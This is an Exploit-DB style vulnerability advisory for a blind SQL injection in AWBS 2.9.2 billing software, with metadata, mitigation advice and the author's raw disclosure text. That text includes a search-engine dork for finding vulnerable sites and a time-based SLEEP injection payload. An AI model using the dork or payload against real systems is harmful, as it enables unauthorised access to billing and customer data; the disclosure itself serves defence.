AWBS 2.9.2 Blind SQL Injection 0day

vendor:

AWBS

by:

ShivX

7.5

CVSS

HIGH

Blind SQL Injection

CWE

Product Name: AWBS

Affected Version From: 2.9.2002

Affected Version To: 2.9.2002

Patch Exists: NO

Related CWE: N/A (0day)

CPE: a:awbs:awbs:2.9.2

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: RedHat EL 5.6 (Tikanga)

2011

AWBS 2.9.2 Blind SQL Injection 0day

Advanced Webhost Billing System (AWBS) is webhosting billpay software written in PHP. A Blind SQL Injection vulnerability exists in the AWBS 2.9.2 version, which allows an attacker to execute arbitrary SQL commands on the vulnerable system. The vulnerability is present in the ‘ca=add_other&oid’ parameter of the ‘cart’ page. An attacker can exploit this vulnerability by sending a specially crafted HTTP request to the vulnerable system.

Mitigation:

Input validation should be used to prevent SQL injection attacks. All user-supplied input should be validated and filtered before being used in SQL queries. Additionally, parameterized queries should be used to prevent SQL injection attacks.

Source

Exploit-DB raw data:

AWBS 2.9.2 Blind SQL Injection 0day
=============================================================================================
Dork....: inurl:/cart?ca=add_other&oid=
Date....: 01-16-2011
Author..: ShivX
Contact.: shivanx[at]gmail[dot]com
Vendor..: http://www.awbs.com
Link....: http://www.awbs.com/packages.php?spt=10 (or demo site)
Version.: 2.9.2 (Possibly <=)
Tested..: RedHat EL 5.6 (Tikanga)
CVE.....: N/A (0day)
=============================================================================================
---Introduction---

Advanced Webhost Billing System (AWBS) is webhosting billpay software written in PHP.
AWBS includes a complete frontend written in XHTML/CSS. This frontend can be used as your
website or in portal mode as a separate client portal and allows for full customization of
its look.

AWBS will communicate to your configured payment gateway(s) to perform live payments while
customers place orders. Once orders are placed, AWBS will then communicate to your configured
registrar, hosting server or reseller hosting account to complete the orders automatically,
then send your configured email(s) to the client(s).

AWBS will:
- Generate invoices and email your clients notifying them a payment is due.
- Automatically charge account balance or credit card on file on the invoice's due date.
- Notify clients if the credit card on file is expired or declined.
- Send domain renewal notices and automatically renew domains.
- Suspend or unsuspend hosting accounts when a payment is not made or paid.

The AWBS backend (admin interface) provides you with a quick and easy 'check in' homepage so
you can find new orders, helpdesk tickets, contact form submissions, affiliate signups,
overdue invoices, errors that may have occurred, and basic sales stats.
=============================================================================================
---Vulnerability---

http(s)://[HOST]/cart?ca=add_other&oid=[TRUE VALUE]'[BLIND-SQL]
=============================================================================================
---PoC Using Time-Based Blind SQL Injection---

https://www.vulnerablehost.com/cart?ca=add_other&oid=1'%20AND%20SLEEP(100)='